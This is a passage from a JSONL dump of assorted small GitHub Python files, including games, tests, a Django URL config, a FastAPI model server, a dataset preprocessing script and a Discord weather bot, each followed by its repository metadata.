self.button_list[0][0].text() != \" \" and self.button_list[1][1].text() != \" \" and self.button_list[0][2] != \" \":\n return True\n elif self.button_list[0][2].text() == self.button_list[1][1].text() == self.button_list[2][0].text() and self.button_list[0][2].text() != \" \" and self.button_list[1][1].text() != \" \" and self.button_list[2][0] != \" \":\n return True\n else:\n return False\n\n def convert_button_list_to_matrix(self):\n matrix = []\n lista = []\n\n for index, button in enumerate(self.button_list):\n lista.append(button)\n if (index + 1) % 3 == 0:\n matrix.append(lista)\n lista = []\n\n self.button_list = matrix\n\n def update_scoreboard(self):\n self.list_of_players[self.actual_player-1].update_score()\n\n score_of_actual_player = self.board.get_scoreboard()[\n self.actual_player-1]\n\n score_of_actual_player.setText(\n score_of_actual_player.text()[0:-1] + str(self.list_of_players[self.actual_player-1].get_score()))\n\n def next_round(self):\n for row in self.button_list:\n for button in row:\n button.setText(\" \")\n button.setDisabled(False)\n\n\nif __name__ == \"__main__\":\n game = Game()\n","repo_name":"andresnowak/tic-tac-toe-py","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":6432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26436786319","text":"list = [1,2,3,4,5]\n# #reverse\n# list.reverse()\n# print(list)\n#\n# #slicing\n# listR=list[::]\n#print(listR)\nprint(len(list)-6)\nfor i in range(0,len(list)-1):\n n=list[i]\n list.insert(len(list)-i,n)\ndel list[0:4]\nprint(list)","repo_name":"Yaswanthbobbu/IQuestions_Python","sub_path":"Questions/13. Reverse.py","file_name":"13. Reverse.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16732143262","text":"import os\nimport unittest\nfrom dyda_utils import data\nfrom dyda_utils import tools\nfrom dyda_utils import lab_tools\nfrom dyda.components.frame_selector import FrameSelectorDownsampleFirst\nfrom dyda_utils import dict_comparator\n\n\nclass TestFrameSelectorDownsampleFirst(unittest.TestCase):\n def test_main_process(self):\n\n # pull test data from gitlab\n input_url = 'https://gitlab.com/DT42/galaxy42/dt42-dyda/uploads/'\\\n '06e852b64cd24cdb017a56c540e195db/FrameSelectorDownsampleFirst_input_list.json'\n input_list = lab_tools.pull_json_from_gitlab(input_url)\n output_url = 'https://gitlab.com/DT42/galaxy42/dt42-dyda/uploads/'\\\n '6ce81dd346759aef1d8f4cc81675662e/FrameSelectorDownsampleFirst_output_list.json'\n output_list = lab_tools.pull_json_from_gitlab(output_url)\n\n # initialization\n frame_selector_ = FrameSelectorDownsampleFirst()\n\n for i in range(len(input_list)):\n\n # run frame_selector\n frame_selector_.reset()\n frame_selector_.metadata[0] = tools.remove_extension(\n input_list[i]['filename'],\n 'base-only')\n frame_selector_.run()\n\n # compare results with reference\n ref_data = output_list[i]\n tar_data = frame_selector_.results\n report = dict_comparator.get_diff(ref_data, tar_data)\n self.assertEqual(report['extra_field'], [])\n self.assertEqual(report['missing_field'], [])\n self.assertEqual(report['mismatch_val'], [])\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"numbersprotocol/dyda","sub_path":"tests/obsolete/test_frame_selector.py","file_name":"test_frame_selector.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"26461466972","text":"import uvicorn\nfrom fastapi import FastAPI, UploadFile, File\nfrom tensorflow import keras\nimport cv2\nimport numpy as np\n\napp = FastAPI()\n\n# Load the trained model\nmodel = keras.models.load_model('F:/4th Smester/work/drowziness model/detection.h5')\nimg_size = 224\n\n# Preprocess image\ndef preprocess_image(image):\n img_array = cv2.cvtColor(np.array(image), cv2.COLOR_BGR2GRAY)\n img_array = cv2.cvtColor(img_array, cv2.COLOR_GRAY2RGB)\n img_array = cv2.resize(img_array, (img_size, img_size))\n img_array = img_array / 255.0\n img_array = np.expand_dims(img_array, axis=0)\n return img_array\n\n@app.post(\"/predict\")\nasync def predict(file: UploadFile = File(...)):\n image = await file.read()\n img = cv2.imdecode(np.fromstring(image, np.uint8), cv2.IMREAD_UNCHANGED)\n img = preprocess_image(img)\n\n prediction = model.predict(img)\n class_label = \"Open_Eyes\" if prediction[0][0] < 0.5 else \"Close_Eyes\"\n return {\"class_label\": class_label}\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=8000)\n","repo_name":"AliMurtazaHaral/drowzinessDetectionModel","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1074204617","text":"\"\"\"GPT Playground URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.contrib.sitemaps.views import sitemap\nfrom django.urls import include, path\nfrom django.views.generic import RedirectView\nfrom django.views.i18n import JavaScriptCatalog\nfrom drf_spectacular.views import SpectacularAPIView, SpectacularRedocView, SpectacularSwaggerView\n\nfrom apps.teams.urls import team_urlpatterns as single_team_urls\nfrom apps.web.sitemaps import StaticViewSitemap\nfrom apps.web.urls import team_urlpatterns as web_team_urls\n\nsitemaps = {\n \"static\": StaticViewSitemap(),\n}\n\n# urls that are unique to using a team should go here\nteam_urlpatterns = [\n path(\"\", include(web_team_urls)),\n path(\"team/\", include(single_team_urls)),\n path(\"experiments/\", include(\"apps.experiments.urls\")),\n path(\"service_providers/\", include(\"apps.service_providers.urls\")),\n path(\"analysis/\", include(\"apps.analysis.urls\")),\n]\n\nurlpatterns = [\n # redirect Django admin login to main login page\n path(\"admin/login/\", RedirectView.as_view(pattern_name=\"account_login\")),\n path(\"admin/\", admin.site.urls),\n path(\"i18n/\", include(\"django.conf.urls.i18n\")),\n path(\"jsi18n/\", JavaScriptCatalog.as_view(), name=\"javascript-catalog\"),\n path(\"sitemap.xml\", sitemap, {\"sitemaps\": sitemaps}, name=\"django.contrib.sitemaps.views.sitemap\"),\n path(\"a//\", include(team_urlpatterns)),\n path(\"accounts/\", include(\"allauth_2fa.urls\")),\n path(\"accounts/\", include(\"allauth.urls\")),\n path(\"users/\", include(\"apps.users.urls\")),\n path(\"teams/\", include(\"apps.teams.urls\")),\n path(\"\", include(\"apps.web.urls\")),\n path(\"support/\", include(\"apps.support.urls\")),\n path(\"celery-progress/\", include(\"celery_progress.urls\")),\n # API docs\n path(\"api/schema/\", SpectacularAPIView.as_view(), name=\"schema\"),\n # Optional UI - you may wish to remove one of these depending on your preference\n path(\"api/schema/swagger-ui/\", SpectacularSwaggerView.as_view(url_name=\"schema\"), name=\"swagger-ui\"),\n path(\"api/schema/redoc/\", SpectacularRedocView.as_view(url_name=\"schema\"), name=\"redoc\"),\n # hijack urls for impersonation\n path(\"hijack/\", include(\"hijack.urls\", namespace=\"hijack\")),\n path(\"channels/\", include(\"apps.channels.urls\", namespace=\"channels\")),\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"dimagi/open-chat-studio","sub_path":"gpt_playground/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"74099985798","text":"\nimport flatty\nimport couchdb\nimport unittest\nimport sys\n\nclass CouchdbTestCase(unittest.TestCase):\n\t\n\tdef setUp(self):\n\t\tdbname = 'flatty_couchdb_test'\n\t\tself.couch = couchdb.Server()\n\t\tif dbname in self.couch:\n\t\t\tdel self.couch[dbname]\n\t\t\tself.couch.create(dbname)\n\t\telse:\n\t\t\tself.couch.create(dbname)\n\t\t\n\t\tself.db = self.couch[dbname]\n\tdef tearDown(self):\n\t\tpass\n\t\n\tdef test_create_document(self):\n\t\tfrom datetime import datetime\n\t\tdb = self.db\n\t\tt_now = datetime.now()\n\t\t\n\t\tclass Person(flatty.couch.Document):\n\t\t\tname = basestring\n\t\t\tage = int\n\t\t\tadded = datetime\n\t\t\t\n\t\t\tdef __init__(self, **kwargs):\n\t\t\t\tsuper(Person,self).__init__(**kwargs)\n\t\t\t\tself.added = t_now #datetime.now()\n\t\t\t\n\t\tperson = Person(name='John Doe', age=42)\n\t\tself.assertEqual(person.name, 'John Doe')\n\t\tself.assertEqual(person.age, 42)\n\t\tself.assertEqual(person.added, t_now)\n\t\t\n\t\tperson.store(db)\n\t\told_rev = person._rev\n\t\tperson2 = Person.load(db, person._id)\n\t\tself.assertEqual(person.name, person2.name)\n\t\tself.assertEqual(person.added, person2.added)\n\t\n\t\tperson2.name = 'John R. Doe'\n\t\tperson2.store(db)\n\t\tperson3 = Person.load(db, person._id)\n\t\tself.assertTrue(person.name != person3.name)\n\t\tself.assertEqual(person.added, person3.added)\n\t\tself.assertTrue(person3._rev != old_rev)\n\t\tself.assertEqual(person._id, person3._id)\n\t\t\n\tdef test_complex_document(self):\n\t\tfrom datetime import date\n\t\tdb = self.db\n\t\t\n\t\tclass Comment(flatty.Schema):\n\t\t\tuser = basestring\n\t\t\ttxt = basestring\n\t\t\n\t\tclass Book(flatty.Schema):\n\t\t\tname = basestring\n\t\t\tyear = date\n\t\t\tcomments = flatty.TypedList.set_type(Comment)\n\t\t\n\t\tclass Address(flatty.Schema):\n\t\t\tstreet = basestring\n\t\t\tcity = basestring\n\t\t\t\n\t\tclass Library(flatty.couch.Document):\n\t\t\tname = basestring\n\t\t\taddress = Address \n\t\t\tbooks = flatty.TypedDict.set_type(Book)\n\t\t\n\t\t\n\t\tlibrary = Library(name='IT Library')\n\t\tlibrary.address = Address(street='Baker Street 221b', city='London')\n\t\tbook1 = Book(name='Dive Into Python',\n\t\t\t\t\t\tyear = date(2008,10,10))\n\t\tbook2 = Book(name='Programming Python',\n\t\t\t\t\t\tyear = date(2011,1,31))\n\t\tbook2.comments = []\n\t\tbook2.comments.append(Comment(user='Alex', txt='good Book'))\n\t\t\n\t\tlibrary.books={}\n\t\tlibrary.books['978-1590593561'] = book1\n\t\tlibrary.books['978-0596158101'] = book2\n\t\t\n\t\tid, rev = library.store(db)\n\t\tlibrary2 = Library.load(db, id)\n\t\t\n\t\tself.assertEqual(library2.books['978-1590593561'].comments, None)\n\t\tself.assertEqual(len(library2.books['978-0596158101'].comments), 1)\n\t\tself.assertTrue(isinstance(library2.address, Address))\n\t\t\n\n\t\t\n\t\t\ndef suite():\n\tsuite = unittest.TestSuite()\n\tif len(sys.argv) > 1 and sys.argv[1][:2] == 't:':\n\t\tsuite.addTest(CouchdbTestCase(sys.argv[1][2:]))\n\telse:\n\t\tsuite.addTest(unittest.makeSuite(CouchdbTestCase, 'test'))\n\treturn suite\n\n\nif __name__ == '__main__':\n\t#call it with \n\t#t:\n\t#to launch only test \n\tunittest.TextTestRunner(verbosity=1).run(suite())","repo_name":"ceelian/Flatty","sub_path":"src/flatty/tests/test_couchdb.py","file_name":"test_couchdb.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"12995141529","text":"from src.auxiliaries.constants.FileConstants import *\n\nclass FileHelper: \n def saveMessageFile(path: str, file: str, text: str):\n outputPath = path + '/' + file + FileConstants.HASH_SUFFIX\n \n try:\n outputFile = open((outputPath), 'w')\n \n try:\n outputFile.write(text) \n except:\n print(\"Something went wrong when writing to the file.\")\n finally:\n outputFile.close() \n except:\n print(\"Something went wrong when opening the file\") \n \n def getAllTextFile(path: str) -> str:\n if not path:\n raise Exception(\"Path is empty\") \n \n file = open((path), 'r')\n fileText = file.read()\n file.close() \n \n return fileText;\n \n def getLineTextFile(path: str) -> str:\n if not path:\n raise Exception(\"Path is empty\") \n \n file = open((path), 'r')\n fileLineText = file.readline()\n file.close() \n \n return fileLineText;\n ","repo_name":"LeonardoJunio/cryptography-projects","sub_path":"hash_crypt/App/src/auxiliaries/helper/FileHelper.py","file_name":"FileHelper.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"36198156005","text":"import pygame\nfrom pygame.sprite import Group\nfrom configuration import Configurations\nfrom statistics import Statistics\nfrom score import Score\nfrom ship import Ship\nfrom button import Button\n#from alien import Alien\nimport game_functions as gf\n\n\ndef run_game():\n #Init the game, the configurations and create an screen object\n pygame.init()\n ai_configurations = Configurations()\n screen = pygame.display.set_mode((ai_configurations.screen_width,ai_configurations.screen_height))\n pygame.display.set_caption(\"Alien Invasion\")\n\n #Create the button Play\n play_button = Button(ai_configurations, screen, \"Play\")\n\n #Create an instance to store statistics of the game and create a score\n statistics = Statistics(ai_configurations)\n score = Score(ai_configurations, screen, statistics)\n\n\n # Create a ship\n ship = Ship(ai_configurations, screen)\n\n #Create a group to store the bullets\n bullets = Group()\n\n #Create a group of Aliens\n aliens = Group()\n\n #Create a fleet of aliens\n gf.create_fleet(ai_configurations, screen, ship, aliens)\n\n #Create an Alien\n #alien = Alien(ai_configurations, screen)\n\n\n\n #Setting background color\n #bg_color = (230,230,230)\n\n #Init the main loop game\n while True:\n\n #Listen keyboard and mouse events\n gf.check_events(ai_configurations, screen, statistics, score, play_button, ship, aliens, bullets)\n if statistics.game_active:\n ship.update()\n gf.update_balas(ai_configurations, screen, statistics, score, ship, aliens, bullets)\n gf.update_aliens(ai_configurations, statistics, screen, score, ship, aliens, bullets)\n\n gf.update_screen(ai_configurations, screen, statistics, score, ship, aliens, bullets, play_button)\n \n\nrun_game()","repo_name":"jjsn10/my-project","sub_path":"alien_invasion.py","file_name":"alien_invasion.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74224220358","text":"from __future__ import print_function\nimport sys\nimport os\nimport numpy as np\nimport random\nimport pandas as pd\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom util import *\nimport itertools\nimport math\n\n# This file contains code required for any preprocessing of real data, as well as splitting it into partitions \n# Currently this contains code relevant to the amazon-dataset (https://www.kaggle.com/c/amazon-employee-access-challenge)\n# and dna dataset ftp://largescale.ml.tu-berlin.de/largescale/dna/\n\nif len(sys.argv) != 7:\n\tprint(\"Usage: python arrange_real_data.py n_procs input_dir real_dataset n_stragglers n_partitions partial_coded\")\n\tsys.exit(0)\n\n# Set the seed for the random generator.\nnp.random.seed(0)\n\n# Parse the iput arguments.\nn_procs, input_dir, real_dataset, n_stragglers, n_partitions, partial_coded = [x for x in sys.argv[1:]]\nn_procs, n_stragglers, n_partitions, partial_coded = int(n_procs), int(n_stragglers), int(n_partitions), int(partial_coded)\n\n# Get the data directory.\ninput_dir = input_dir + real_dataset + \"/\"\n\n\n# Prevent scientific method printing for NumPy. Not part of original source code.\nnp.set_printoptions( suppress = True )\n\n\n# load relevant data\nif real_dataset==\"amazon-dataset\":\n\n\t# Read in the data.\n\tprint(\"Preparing data for \"+real_dataset)\n\ttrainData = pd.read_csv(input_dir + 'train.csv')\n\n\n\t# Take the 9 columns of every row that are not the binary labels.\n\ttrainX = trainData.loc[:,'RESOURCE':].values\n\n\n\t# Take the binary action labels that determine if access was granted.\n\ttrainY = trainData['ACTION'].values\n\n\n\t# Create a label encoder object to normalize the labels.\n\trelabeler = preprocessing.LabelEncoder()\n\n\n\t# Iterate through each column of the data (9 columns).\n\t# Number of data elements in the columns stays the same. They are just rearranged.\n\t# The actual values do not matter so much as the relationship between them and the \n\t# labels matters, so it is okay to change them.\n\tprint(\"\")\n\tfor col in range(len(trainX[0, :])):\n\t\tcolSet = set( trainX[ :, col ] )\n\t\tprint( \"================================================================\\n\" +\n\t\t\t\t\" \" + \"\\033[1;31m\" + \"Column \" + str( col ) + \"\\n\" + \"\\033[0;0m\" +\n\t\t\t\tf\"Data: {trainX[ :, col ]}, \\n\" +\n\t\t\t\tf\" Size = {trainX[ :, col ].size},\\n\" +\n\t\t\t\tf\" Unique Elements = {len( colSet )}\\n\" )\n\n\n\t\t# Fits the label encoder. The attribute 'classes_' of the LabelEncoder object\n\t\t# is a list of the unique values in the column (i.e., a set of the values).\n\t\trelabeler.fit(trainX[:, col])\n\t\tprint( f\"Label Encoder Number of Classes = {relabeler.classes_.size}\\n\" +\n\t\t\t\tf\" Max Label Value: {max( relabeler.classes_ )}\\n\" )\n\t\t\n\n\t\t# Update the column and rearrange/transform it.\n\t\t# This replaces every value with its index in \n\t\t# the LabelEncoder class list created by fit()\n\t\ttrainX[:, col] = relabeler.transform(trainX[:, col])\n\t\tprint( \"Transformed Column: {}\\n\" \\\n\t\t\t\t\" Max Value in Column: {}\\n\" \\\n\t\t\t\t\" Size = {}\\n\" \\\n\t\t\t\t\"================================================================\\n\".format( trainX[ :, col ], max( trainX[ :, col ] ), trainX[ :, col ].size ) )\n\n\n\t# Convert data into {-1, 1} binary format.\n\ttrainY = 2*trainY - 1\n\n\n\t# Find all 2-tuples from the nine columns.\n\t# Then, get the data in the columns from the indicie of each 2-tuple (34 of them).\n\t# From the data, create a hash on each row for each of the tuples.\n\t# This results in data of size 32769 x 34.\n\t# 32769 = Number of rows in original data.\n\t# 34 = Number of ordered 2-tuples other than (5, 7) and (2, 3). Equivalent to (9 Choose 2) minus 2.\n\td_all_s = interactionTermsAmazon(trainX, degree=2) # second order\n\n\n\t# This was left commented out by the original creators:\n\t#d_all_t = interactionTermsAmazon(trainX, degree=3) # third order\n\t#trainX = np.hstack((trainX, d_all_s, d_all_t))\n\n\n\t# Concatenate the original data and the tupled data along the second axis.\n\t# Adds the columns of d_all_s after the columns of trainX. Row numbers are equal.\n\t# Number of columns is 9 + 34 = 43. Row remains at 32769\n\tprint( \"================================================================\\n\" \\\n\t\t\t\" \" + \"\\033[1;31m\" + \"hstack\\n\" + \"\\033[0;0m\" \\\n\t\t\t\"trainX: {}\\nd_all_s: {}\".format( trainX.shape, d_all_s.shape ) )\n\ttrainX = np.hstack((trainX, d_all_s))\n\tprint( \"trainX: {}\\n{}\\n\" \\\n\t\t\t\"================================================================\\n\".format( trainX.shape, trainX ) )\n\n\n\t# For each column in the training data, get indicies for the unique values\n\t# and transform the data to match the indicies.\n\tfor col in range(len(trainX[0, :])):\n\t\trelabeler.fit(trainX[:, col])\n\t\ttrainX[:, col] = relabeler.transform(trainX[:, col])\n\n\n\t# Concatenate the rows of the transposed training data with a vector of ones.\n\t# Take the transpose of the trainX matrix (size 32769x43 -> 43x32769) and a vector of 32769 ones\n\t# and place the vector of ones in the last row (new size 44x32769). Then transpose it so that the vector of ones\n\t# is in the last column. New size of data is 32769x44.\n\tprint( \t\"================================================================\\n\" \\\n\t\t\t\" \" + \"\\033[1;31m\" + \"vstack\\n\" + \"\\033[0;0m\" \\\n\t\t\t\"trainX: {}\\n{}\\n\\nones: {}\\n{}\\n\".format( trainX.T.shape, trainX.T, np.ones( trainX.shape[ 0 ] ).shape, np.ones( trainX.shape[ 0 ] ) ) )\n\ttrainX = np.vstack( [ trainX.T, np.ones( trainX.shape[ 0 ] ) ] ).T\n\tprint( \t\"trainX: {}\\n{}\\n\" \\\n\t\t\t\"================================================================\\n\".format( trainX.shape, trainX ) )\n\n\n\t# From the training data created previously, split it into a training and testing data set.\n\t# The testing data is created from 20% of the data.\n\tX_train, X_valid, y_train, y_valid = train_test_split(trainX, trainY, test_size=0.2, random_state=0)\n\tprint( \t\"================================================================\\n\" \\\n\t\t\t\" \" + \"\\033[1;31m\" + \"Splitting\\n\" + \"\\033[0;0m\" \\\n\t\t\t\"Training Data: {}\\nTraining Labels: {}\\nTesting Data: {}\\nTesting Labels: {}\\n\" \\\n\t\t\t\"================================================================\\n\".format( X_train.shape, y_train.shape, X_valid.shape, y_valid.shape ) )\n\n\n\t# \n\tprint( \"================================================================\\n\" \\\n\t\t\t\" \" + \"\\033[1;31m\" + \"One Hot Encoding\\n\" + \"\\033[0;0m\" \\\n\t\t\tf\"Unique: {len(np.unique(X_train))}\\n\" \\\n\t\t\t\"Training Data: {}\\n{}\\n\\n\" \\\n\t\t\t\"Testing Data: {}\\n{}\\n\".format( X_train.shape, X_train, X_valid.shape, X_valid ) )\n\tencoder = preprocessing.OneHotEncoder(sparse=True)\n\tencoder.fit(np.vstack((X_train, X_valid)))\t\t\t# Take the combined training and testing data and get indicies for each of the unique values.\n\tX_train = encoder.transform(X_train) \t\t\t\t# Returns a sparse matrix (see numpy.sparse)\n\tX_valid = encoder.transform(X_valid)\t\t\t\t# Tranform the testing data to match the indicies for unique values.\n\tprint( \"Training Data: {}\\n{}\\n\\n\" \\\n\t\t\t\"Testing Data: {}\\n{}\\n\" \\\n\t\t\t\"================================================================\\n\".format( X_train.shape, X_train, X_valid.shape, X_valid ) )\n\t\n\n\t# Calculate the number of rows and columns in the new data.\n\tn_rows, n_cols = X_train.shape\n\tprint(\"No. of training samples = %d, Dimension = %d\"%(n_rows,n_cols))\n\tprint(\"No. of testing samples = %d, Dimension = %d\"%(X_valid.shape[0],X_valid.shape[1]))\n\t\n\n\t# Create output directory\n\toutput_dir = input_dir\n\tif not partial_coded:\n\t\toutput_dir = output_dir + str(n_procs-1) + \"/\"\n\t\tpartitions = n_procs-1\n\telse:\n\t\toutput_dir = output_dir + \"partial/\" + str((n_procs-1)*(n_partitions - n_stragglers))+\"/\"\n\t\tpartitions = (n_procs-1)*(n_partitions - n_stragglers)\n\n\tn_rows_per_worker = n_rows//partitions\n\n\n\t# Check that the directory exists. If it doesn't, create it.\n\tif not os.path.exists(output_dir):\n\t\tos.makedirs(output_dir)\n\n\n\t# Iterate through each partition and save it.\n\tfor i in range(1, partitions+1):\n\t\tdata_matrix = X_train[(i-1)*n_rows_per_worker:i*n_rows_per_worker,:]\n\t\tsave_sparse_csr(output_dir+str(i),data_matrix) \n\t\tprint(\"\\t >>> Done with partition %d\" % (i))\n\n\n\t# Save the labels.\n\tsave_vector(y_train, output_dir + \"label.dat\")\n\tsave_vector(y_valid, output_dir + \"label_test.dat\")\n\tsave_sparse_csr(output_dir + \"test_data\", X_valid)\n\nelif real_dataset==\"dna-dataset/dna\":\n\n\tprint(\"Preparing data for \"+real_dataset)\n\n\tfin = open(input_dir + 'features.csv')\n\ttrainData= np.genfromtxt(itertools.islice(fin,0,500000,1), delimiter=',') \n\t#np.genfromtxt(input_dir + 'features.csv',delimiter=',', max_rows=100000)\n\ttrainX=trainData[:,1:]\n\ttrainY=trainData[:,0]\n\n\tprint(\"No. of positive labels = \" + str(np.sum(trainY==1)))\n\n\tn,p = trainX.shape\n\n\ttrainX=np.vstack([trainX.T,np.ones(trainX.shape[0])/math.sqrt(n)]).T\n\n\tX_train, X_valid, y_train, y_valid = train_test_split(trainX, trainY, test_size=0.2, random_state=0)\n\n\tencoder = preprocessing.OneHotEncoder(sparse=True)\n\tencoder.fit(np.vstack((X_train, X_valid)))\n\tX_train = encoder.transform(X_train) # Returns a sparse matrix (see numpy.sparse)\n\tX_valid = encoder.transform(X_valid)\n\t\n\tn_rows, n_cols = X_train.shape\n\tprint(\"No. of training samples = %d, Dimension = %d\"%(n_rows,n_cols))\n\tprint(\"No. of testing samples = %d, Dimension = %d\"%(X_valid.shape[0],X_valid.shape[1]))\n\t\n\t# Create output directory\n\toutput_dir = input_dir\n\tif not partial_coded:\n\t\toutput_dir = output_dir + str(n_procs-1) + \"/\"\n\t\tpartitions = n_procs-1\n\telse:\n\t\toutput_dir = output_dir + \"partial/\" + str((n_procs-1)*(n_partitions - n_stragglers))+\"/\"\n\t\tpartitions = (n_procs-1)*(n_partitions - n_stragglers)\n\n\tn_rows_per_worker = n_rows//partitions\n\n\tif not os.path.exists(output_dir):\n\t\tos.makedirs(output_dir)\n\n\tfor i in range(1, partitions+1):\n\t\tdata_matrix = X_train[(i-1)*n_rows_per_worker:i*n_rows_per_worker,:]\n\t\tsave_sparse_csr(output_dir+str(i),data_matrix) \n\t\tprint(\"\\t >>> Done with partition %d\" % (i))\n\n\tsave_vector(y_train, output_dir + \"label.dat\")\n\tsave_vector(y_valid, output_dir + \"label_test.dat\")\n\tsave_sparse_csr(output_dir + \"test_data\", X_valid)\n\n\tfin.close()\n\nprint(\"Data Setup Finished.\")","repo_name":"NickChiapputo/InformationTheory","sub_path":"gradient_coding/src/src/arrange_real_data.py","file_name":"arrange_real_data.py","file_ext":"py","file_size_in_byte":10149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41943912617","text":"#coding=utf-8\n#TCP客户端\nfrom socket import *\n\n# 1.创建socket\ntcpClientSocket=socket(AF_INET,SOCK_STREAM)\n\n# 2.链接到服务器\nserverAddr=('192.168.1.2',7788)\ntcpClientSocket.connect(serverAddr)\n\n# 3.输入数据\nsendData=\"I'm Client!\"\ntcpClientSocket.send(sendData)\n\n# 4.接收对方发送过来的数据,最大接受1024字节\nrecvData=tcpClientSocket.recv(1024)\nprint(\"接收到的数据为:\",recvData)\n\n# 5.关闭套接字\ntcpClientSocket.close()\n","repo_name":"liang1024/Python-Socket","sub_path":"socket/TCPClientSocket.py","file_name":"TCPClientSocket.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"ja","doc_type":"code","stars":13,"dataset":"github-code","pt":"62"} +{"seq_id":"73040907078","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val, prev, next, child):\n self.val = val\n self.prev = prev\n self.next = next\n self.child = child\n\"\"\"\n\nclass Solution:\n def flatten(self, head: 'Node') -> 'Node':\n if head is None:\n return\n ptr = head\n while head:\n # 'print(head.val)\n if head.child:\n tail = head.next\n # head.next = None\n temp = self.flatten(head.child)\n # print(temp)\n head.child = None\n head.next = temp\n temp.prev = head\n while temp.next:\n temp = temp.next\n if tail:\n temp.next = tail\n tail.prev = temp\n \n head = head.next\n return ptr","repo_name":"baggy2797/Leetcode","sub_path":"flatten-a-multilevel-doubly-linked-list/flatten-a-multilevel-doubly-linked-list.py","file_name":"flatten-a-multilevel-doubly-linked-list.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"42290346952","text":"# for loop iterates over an object such as collection or sequence(string\n# for loop prints each item in a collection\n\ngame = \"cricket\" # string is also combination of characters\nfor letters in game:\n print(letters)\n\nalphabets = [\"a\", \"b\", \"c\", \"d\"] # alphabet contains list of items\nfor x in alphabets:\n print(x)\n\nnumbers=[4,5,6,7,8,9,10]\nfor x in numbers:\n print(x)\n","repo_name":"Sudeshchaudhary/python9am","sub_path":"9_3_forloop.py","file_name":"9_3_forloop.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19528177586","text":"import discord\r\nimport python_weather\r\nimport asyncio\r\n\r\nclient = discord.Client()\r\nwc = python_weather.Client(format=python_weather.METRIC)\r\n\r\nPREFIX = \".\"\r\n\r\n@client.event\r\nasync def on_ready():\r\n print(\"Bot started up.\")\r\n\r\n\r\n@client.event\r\nasync def on_message(message):\r\n \r\n c = message.content\r\n\r\n if c.startswith(PREFIX):\r\n\r\n c = c.replace(PREFIX,'')\r\n\r\n if c.startswith(\"weather\"):\r\n\r\n c = c.replace('weather','')\r\n\r\n try:\r\n weather = await wc.find(c)\r\n except:\r\n await message.channel.send('Could not find location! :(')\r\n return\r\n\r\n index = 0\r\n text = \"\"\r\n\r\n for forcast in weather.forecast:\r\n\r\n index += 1\r\n\r\n number_table = {\r\n 1:':one:',\r\n 2:':two:',\r\n 3:':three:',\r\n 4:':four:',\r\n 5:':five:'\r\n }\r\n\r\n emote_table = {\r\n \"cloudy\":\":cloud:\",\r\n \"rain\":\":cloud_rain:\",\r\n \"light rain\":\":cloud_rain:\",\r\n \"partly sunny\":\":white_sun_small_cloud:\",\r\n \"rain showers\":\":cloud_rain:\",\r\n \"mostly cloudy\":\":white_sun_cloud:\",\r\n \"partly cloudy\":\":white_sun_small_cloud:\",\r\n \"mostly sunny\":\":white_sun_small_cloud:\",\r\n \"sunny\":\":sunny:\",\r\n \"clear\":\":sunny:\"\r\n }\r\n\r\n # format\r\n\r\n\r\n\r\n text = text + number_table[index] + \" \" + forcast.day + \" \" + emote_table[forcast.sky_text.lower()] + \" \" + forcast.sky_text + \" - \" + \"Average: ***{}*** - \".format(str(forcast.temperature)) + \"Low: ***{}*** - \".format(str(forcast.low)) + \"High: ***{}***\".format(str(forcast.high)) + \"\\n\\n\" \r\n\r\n await message.channel.send(embed=discord.Embed(title='Weather in {}'.format(c.strip().title()),description=text))\r\n\r\n\r\nclient.run('token here')\r\n","repo_name":"daneelbrookes/discord-weather-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37805538695","text":"import cv2\nimport numpy as np\nimport requests\n\nfrom src.app.image_util import image_list_to_header, img_grap\n\n# 这个资源文件是chromium源代码里扒出来的\ndino_img_url = r\"https://cdn.jsdelivr.net/gh/chromium/chromium@117.0.5881.2/components/neterror/resources/images/default_100_percent/offline/100-offline-sprite.png\"\nresult = requests.get(dino_img_url)\nwith open(\"dino.png\", 